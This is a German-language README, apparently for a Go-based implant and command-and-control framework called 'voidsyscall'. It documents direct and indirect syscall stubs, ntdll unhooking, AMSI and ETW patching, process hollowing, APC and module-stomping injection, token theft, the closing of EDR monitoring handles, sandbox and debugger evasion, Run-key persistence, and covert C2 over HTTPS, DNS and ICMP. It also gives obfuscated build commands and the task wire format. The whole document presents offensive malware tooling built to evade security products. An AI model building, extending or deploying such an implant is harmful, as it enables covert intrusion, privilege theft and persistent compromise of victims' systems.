
Plattformübergreifendes, syscall-basiertes Implantat & C2 — direkte Syscalls (Win), rohe Syscalls (Linux), HTTPS/DNS/ICMP-Kanäle. Keine WinAPI-Schicht.
Zero WinAPI. Jede NT-Primitive wird zur Laufzeit aus ntdll im Speicher aufgelöst —
SYSCALL-Instruktionen werden direkt über Plan9-Assembly-Stubs ausgeführt, keine Import-Tabelle,
keine ntdll-Usermode-Hooks berührt. C2 über HTTPS / DNS / ICMP, AES-256-GCM pro
Nachricht. Windows nativ. Linux-Builds. macOS-Builds.
Dies ist keine Syscall-Wrapper-Bibliothek. Es ist ein vollständiges Implant-Framework, bei dem
jede Operation — vom Injizieren von Code über das Lesen von Dateien bis zur Persistenz in der
Registry — über rohe Nt*-Syscalls läuft, die beim Start aus der aktuellen
ntdll-Export-Tabelle aufgelöst werden. Es existieren keine WinAPI-Aufrufe in der Binärdatei. Nichts für eine EDR,
das im Usermode gehooked werden könnte.
B8 xx xx 00 00 0F 05 (direkt) oder
4C 8B D1 B8 xx xx 00 00 0F 05 (Hells Gate). Jeder Funktionsname wird
zur Kompilierzeit gehasht — keine Klartext-Strings in der Binärdatei.asm_amd64.s) lädt die SSN in EAX,
setzt 7 Argumente manuell, führt SYSCALL aus. Rückgabe über RAX/RDX.0F 05 C3-Gadget (syscall;ret) innerhalb
von ntdll und ruft darüber auf. Der CPU-Trap landet innerhalb von ntdll — der Call-Stack
zeigt ntdll-Frames, nicht Implant-Frames. Kein Usermode-Hook überlebt..text auf RWX, kopiert die Original-Bytes aus der disk-
gemappten ntdll, stellt den Schutz wieder her, flusht den icache, vernichtet den SSN-Cache.
Jeder von einer EDR platzierte Usermode-Hook ist verschwunden.Der Agent rotiert automatisch durch die Injection-Techniken. Jeder Aufruf verwendet eine andere Methode — keine zwei Injektionen sehen in der Forensik gleich aus.
Führt alle Checks aus, liefert einen bewerteten Threat-Report. Auto-Destruction bei Critical.
Alles über Nt*-Syscalls, kein WinAPI.
EnablePrivilege(index) — beliebiges Privileg per LUID setzenEnableAllTokenPrivileges() — 20 Privilegien auf einmal (Debug, Impersonate, TCB, Backup, Restore, etc.)GetProcessTokenIntegrityLevel() — Mandatory Integrity abfragenStealProcessToken(pid) — Token eines anderen Prozesses öffnen + duplizierenImpersonateThread() / RevertToSelf()EnumVirtualMemory() — alle virtuellen Regionen via NtQueryVirtualMemory durchlaufenFindWritableExecRegions() — PAGE_EXECUTE_READWRITE-committete Regionen findenHideRegion() — PAGE_NOACCESS setzen, um Speicher vor Scannern zu verbergenUnhideRegion() — ursprünglichen Schutz wiederherstellenNtCreateFile → NtReadFile / NtWriteFile → NtClose. Null CreateFileA,
ReadFile, WriteFile oder DeleteFileW-Aufrufe. ReadFileContents(),
WriteFileContents(), DeleteFileNt(), FileExists().
NtCreateKey → NtSetValueKey. AddRunKeyPersistence(), RemoveRunKeyPersistence().
Kein RegCreateKeyEx, RegSetValueEx oder irgendwelche Advapi32-Aufrufe.
EnumerateSystemHandles() — alle offenen Handles im System via
NtQuerySystemInformation(SystemHandleInformation)FindEDRHandles() — gleicht Owner-PIDs gegen 30+ bekannte EDR-Prozess-
namen ab (MsSense, CrowdStrike, Sentinel, Cylance, Carbon Black, etc.)CloseEDRHandles() — schließt Monitoring-Handles, die die EDR in deinem
Prozess platziert hatIsProcessMonitored() — Boolean-Check: werden wir überwacht?NtFreeVirtualMemory.PatchAMSI() — AmsiScanBuffer → MOV EAX, 0; RETPatchETW() — EtwEventWrite → RETPatchNtTraceEvent() — NtTraceEvent → RETPatchDbgUiRemoteBreakin() — Thread Breakin → RETPatchInstrumentationCallbacks() — ThreadHideFromDebugger| Kanal |
|---|
Alle Kanäle implementieren das Channel-Interface. NTP, DoH oder TURN hinzuzufügen
bedeutet, das Interface zu implementieren — null Agent-Änderungen.
AES-256-GCM pro Nachricht AEAD. Eindeutiger 12-Byte-Nonce pro Nachricht. Keyring pro Implant. Passphrase-basierte Key-Ableitung verfügbar. 3 Tests, alle bestanden.
voidsyscall/
syscallwin/ Direct/indirect NT syscalls + evasion
asm_amd64.s Syscall/IndirectSyscall/ReadGSBase/SetGSBase/asm_cpuid/asm_rdtsc
resolve.go PEB→LDR→ntdll walk, PE export parse, SSN cache, prologue scan
stubs.go ~25 Nt* wrappers, DirectSyscall, IndirectSyscallByHash
hash.go djb2 hash (string + UTF-16 pointer)
constants.go MEM_*, PAGE_*, THREAD_*, TOKEN_*, OBJ_*, REG_*, FILE_*, STATUS_*
unhook.go UnhookNtdll, SelfDel
peb.go PEB patching (BeingDebugged, NtGlobalFlag, Heap, DebugPort)
token.go Privilege escalation, token theft, impersonation
vad.go VAD enumeration, hide/unhide regions
files.go File I/O via Nt* syscalls
registry.go Registry persistence via Nt* syscalls
fingerprint.go SSN dump, build fingerprint, hex export/import
inject_advanced.go 4 injection methods: section mapping, hollow, APC, module stomp
antianalysis.go VM/sandbox/debug/timing detection, scored threat report
handles.go System handle enumeration, EDR handle killer
memcrypt.go Vault (re-keying XOR), SecureDelete, StackEncrypt, WipeMemory
syscallnix/ Linux/darwin raw syscalls
patches/ AMSI, ETW, NtTraceEvent, DbgUiRemoteBreakin, InstrumentationCallbacks
loader/ CreateThread/APC/module-stomp injection
channels/ HTTP, DNS (TXT), ICMP — Channel interface
crypto/ AES-256-GCM, envelope, passphrase variant (3 tests)
server/ SessionManager, Task Queue, interactive REPL
agent/ Config, beacon loop, 10 task handlers
cmd/server/main.go CLI with REPL
cmd/agent/main.go Windows-only entrypoint
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o voidsyscall-agent.exe ./cmd/agent
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o voidsyscall-server.exe ./cmd/server
GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o server-linux ./cmd/server
GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w" -o server-darwin ./cmd/server
Obfuskation mit garble:
GOOS=windows GOARCH=amd64 garble -literals -tiny build -ldflags="-s -w" \
-o voidsyscall-agent.exe ./cmd/agent
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
./voidsyscall-server.exe --cert cert.pem --key key.pem --https-port 443
./voidsyscall-agent.exe -c agent/example-config.json
ReadGSBase (asm) → GS:[0x60] → TEBLdrInMemoryOrderModuleList durchlaufen → ntdll.dll via djb2-Hash abgleichenIMAGE_DOS_HEADER → e_lfanew → IMAGE_NT_HEADERS → DataDirectory[0] = Export-TabelleAddressOfNames[] durchlaufen, jeweils djb2, Ziel abgleichenAddressOfFunctions[ordinal] → FunktionsadresseB8 xx xx 00 00 0F 05 (direkt), B8 xx xx 00 00 C3 (Early-Ret) oder 4C 8B D1 B8 xx xx 00 00 0F 05 (Hells Gate)Keine Funktionsnamen in der Binärdatei. Nur djb2-Hashes. Die syscall-Instruktion
umgeht jeden Usermode-Hook.
TaskShell // exec via cmd.exe
TaskInject // polymorphic: section/hollow/APC/stomp
TaskPatch // AMSI/ETW/both
TaskEvasion // PEB patches + VM/sandbox/debug/timing detection
TaskHandles // enumerate + kill EDR monitoring handles
TaskFingerprint // dump SSN build fingerprint
TaskToken // privilege escalation + impersonation
TaskVault // encrypted in-memory storage
TaskSleep // jitter-aware sleep
TaskExit // clean shutdown
Ausgeliefert: Beacon-Loop, Task-Queue, 3 C2-Kanäle, 4 Injection-Methoden,
10+ Evasion-Checks, Handle-Enumeration/-Schließung, Token-Manipulation, VAD-Operationen,
Datei-I/O, Registry-Persistenz, SSN-Fingerprinting, Speicherverschlüsselung,
AMSI/ETW-Patching, AES-GCM-Krypto, Session-Management, interaktive REPL.
3 Krypto-Tests bestehen. go build sauber unter Windows.
Noch nicht: Linux autonomer Agent (Builds existieren, keine Agent-Logik), Session-Key-Rotation, Staged Loader, NTP/DoH-Kanäle, Persistenz-Scheduling.
MIT — LICENSE
| Methode | Funktionsweise | Warum sie stealthy ist |
|---|
| Section Mapping | NtCreateSection → NtMapViewOfSection (remote) → NtCreateThreadEx | Keine RWX-Allokation im VAD. Die Section ist file-backed. Memory-Scanner sehen PAGE_EXECUTE_READ, nicht PAGE_EXECUTE_READWRITE. |
| Process Hollow | NtCreateUserProcess (suspendiert) → NtSuspendProcess → Image-Basis nullen → Shellcode allokieren + schreiben → NtSetContextThread (RIP = Shellcode) → NtResumeProcess | Der Prozess erscheint als legitime svchost.exe im Taskmanager. Nur der Speicherinhalt unterscheidet sich. |
| APC Queuing | Threads via NtQuerySystemInformation aufzählen → NtOpenThread → NtQueueApcThread | Kein neuer Thread erstellt. Kein neues TEB. Keine neue Stack-Allokation. Feuert, wenn der Thread in einen alertable Wait eintritt. |
| Module Stomping | Allokation im Ziel → minimaler PE-Header + Shellcode schreiben → NtCreateThreadEx am Entry Point | Die Modulliste zeigt einen plausiblen DLL-Namen. Der PE-Header ist gültig genug, um die Modul-Enumeration zu täuschen. |
| Check | Methode |
|---|
| VM-Erkennung | CPUID-Leaf 0x40000000 Hypervisor-Signatur-Scan (VMware, VirtualBox, Hyper-V, KVM, Xen, QEMU, Parallels) + Leaf 0x40000001 als Fallback |
| Sandbox-Erkennung | CPU-Anzahl, Registry-Artefakte (VMware Tools, VBox Guest Additions, VMware/VBox-Dienste), Sandbox-Prozess-Scan (30+ bekannte Namen: wireshark, procmon, x64dbg, ida, etc.) |
| Debugger-Erkennung | PEB.BeingDebugged, PEB.NtGlobalFlag, Heap-Debug-Flags, ProcessDebugPort, ProcessDebugObjectHandle, ProcessDebugFlags, Hardware-Breakpoint DR0-7, Timing-Single-Step-Check |
| Timing-Anomalie | RDTSC-basiert: 50 Samples der NtQuerySystemInformation-Latenz, Mittelwert/Stddev, Flag wenn >10% der Samples die 3σ-Varianz überschreiten. Erkennt Instrumentierungs-Overhead. |
| PEB-Evasion | Patcht BeingDebugged, NtGlobalFlag, ProcessHeap-Flags, DebugPort, ThreadHideFromDebugger — alles über GS-Segment-Reads + NtWriteVirtualMemory. Keine API-Aufrufe. |
| Wire-Format |
|---|
| Voraussetzungen |
|---|
| HTTPS | binäres POST, Custom-Framing, randomisierter UA/Pfad | TLS-Zertifikat |
| DNS | <idx>-<total>-<base32>-Subdomain, TXT-Antwort | DNS-Auflösung |
| ICMPv4 | Payload in Echo Request/Reply ID+Seq | Raw Socket (root/Admin) |
| Task | Byte | Payload |
|---|
| shell | 0x01 | UTF-8-Befehl |
| inject | 0x02 | PID (4 Bytes LE) + Shellcode |
| patch | 0x03 | 0x01=AMSI, 0x02=ETW, 0x03=beides |
| sleep | 0x04 | Sekunden (4 Bytes LE) |
| evasion | 0x10 | 0x01=vollständig, 0x02=VM, 0x03=Sandbox, 0x04=Debug, 0x05=Timing, 0x06=Report |
| handles | 0x11 | 0x01=Anzahl, 0x02=EDR aufzählen, 0x03=EDR schließen, 0x04=überwacht? |
| vault | 0x12 | verschlüsselte Speicheroperationen |
| fingerprint | 0x13 | SSN-Build-Fingerprint ausgeben |
| token | 0x14 | 0x01=alle aktivieren, 0x02=Integrität, 0x03=Debug-Privileg, 0x04=impersonieren |
| exit | 0xFF | — |
map[uint32]uint16-Cache speichern